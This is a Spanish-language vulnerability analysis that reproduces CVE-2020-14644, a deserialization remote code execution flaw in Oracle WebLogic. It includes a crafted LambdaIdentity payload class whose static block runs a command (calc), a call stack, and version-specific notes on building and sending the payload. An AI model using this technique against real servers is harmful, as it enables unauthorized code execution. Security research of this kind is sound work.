referencia:
- Análisis CVE-2020-14644 y algunas reflexiones sobre los gadgets
- Análisis de la vulnerabilidad de ejecución remota de comandos de Weblogic (CVE-2020-14644)
Depuración de vulnerabilidades
com.tangosol.internal.util.invoke.RemotableSupport
com.tangosol.internal.util.invoke.RemoteConstructor
usa el valor md5 dado por el autor (versión 12.2.1.3 ?): E12ECA49F06D0401A9D406B2DCC7463A
se lanzó una excepción
java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/lambda/LambdaIdentity$423B02C050017B24DB10DFF759AA56BF (wrong name: com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A)
¿Significa que 423B02C050017B24DB10DFF759AA56BF es correcto?
Entonces se genera un nuevo valor md5 a través de LambdaIdentity en coherence.jar de 12.2.1.4. Efectivamente, es consistente con el error anterior.
Luego, regenere la carga útil. Nuevo paquete :, com.tangosol.internal.util.invoke.lambda
luego nueva clase :, LambdaIdentity$423B02C050017B24DB10DFF759AA56BF
compilar. Obtenga la ruta de su archivo de clase.
package com.tangosol.internal.util.invoke.lambda;
import java.io.IOException;
public class LambdaIdentity$423B02C050017B24DB10DFF759AA56BF {
public LambdaIdentity$423B02C050017B24DB10DFF759AA56BF() {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
Solo hay una oportunidad para cargar una clase. Después del primer éxito o fracaso, la segunda vez no tendrá éxito.
(Reiniciar weblogic)
pocsuite:
En este paso, se ejecuta el bloque de código estático de nuestra clase personalizada:
Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
Realice la ejecución del comando.
Por supuesto, la preparación previa es definir esta clase primero y
su pila de llamadas:
...
defineClass:642, ClassLoader (java.lang)
defineClass:181, RemotableSupport (com.tangosol.internal.util.invoke)
realize:137, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1248, ObjectStreamClass (java.io)
readOrdinaryObject:2076, ObjectInputStream (java.io)
readObject0:1571, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
Lanzar un error:
java.lang.ClassCastException: com.tangosol.internal.util.invoke.lambda.LambdaIdentity$423B02C050017B24DB10DFF759AA56BF cannot be cast to com.tangosol.internal.util.invoke.Remotable
Uso de otras versiones y eco
referencia:
- Oracle cve 2020-14644 análisis y utilización e ideas de eco
- Análisis de la vulnerabilidad de ejecución remota de comandos de Weblogic (CVE-2020-14644)
- https://github.com/potats0/cve_2020_14644
Los dos paquetes jar proporcionados en github son wlfullclient.jar y coherence.jar juntos, pero debido a que el código para diferentes versiones de coherence.jar es diferente, no sé qué versión proporciona el autor, así que apunto a diferentes versiones de weblogic. Reemplaza el paquete coherence.jar en ese momento y saca coherence.jar de cada directorio de weblogic. La estructura es la siguiente:
También se reproduce en 14.1.1.0 y se repite con éxito:
Al capturar el tráfico, descubrí que siempre habrá un paquete inicial. Piense en ello como un paquete de reconocimiento.
Más tarde, se descubrió que también se puede usar
para enviar la carga útil final directamente sin un apretón de manos: siempre que haya una cadena de indicadores en la respuesta, se puede determinar que existe la vulnerabilidad:
Más tarde, descubrí que la razón por la que la ejecución del comando puede ser activada directamente por el último paquete es porque el Objeto se instaló en el paso anterior, y el último paso es simplemente llamar directamente al comando de ejecución. El trabajo de preinstalación es fundamental. De lo contrario, no existirá después de reiniciar weblogic.
Al usar 12.2.1.4, encontré este error:
Exception in thread "main" javax.naming.NamingException: Couldn't connect to the specified host : Exception waiting for response; nested exception is:
java.io.EOFException: endOfStream called by muxer [Root exception is org.omg.CORBA.MARSHAL: Exception waiting for response; nested exception is:
java.io.EOFException: endOfStream called by muxer vmcid: 0x0 minor code: 0 completed: No]
Más tarde, revisé la consola de weblogic y descubrí que es posible que iiop haya sido deshabilitado antes.
<2020-9-11 下午03时12分11,636秒 CST> <Warning> <Socket> <BEA-000443> <The connection attempt was rejected because the incoming protocol iiop is not enabled on channel Default[iiop][2].>
Después de activar los cambios, reinicie weblogic para que surta efecto.
Si se reporta tal error, debería ser que la versión de coherence.jar es incorrecta, y su correspondiente serialVersionUID
es diferente:
para qué versión de weblogic, debe usar la versión correspondiente de coherence.jar para construir la carga útil.
Además, la prueba encontró que el paquete 14.1.1.0 coherence.jar puede adaptarse a la versión 12.2.1.4 de weblogic, mientras que 12.2.1.3 weblogic solo puede usar el paquete 12.2.1.3 coherence.jar para generar la carga útil.
El resultado de la prueba es así:
Versión 10.3.6.0 y 12.1.3.0, se encontró que no hay una clase relacionada:
Por lo que no debería verse afectado.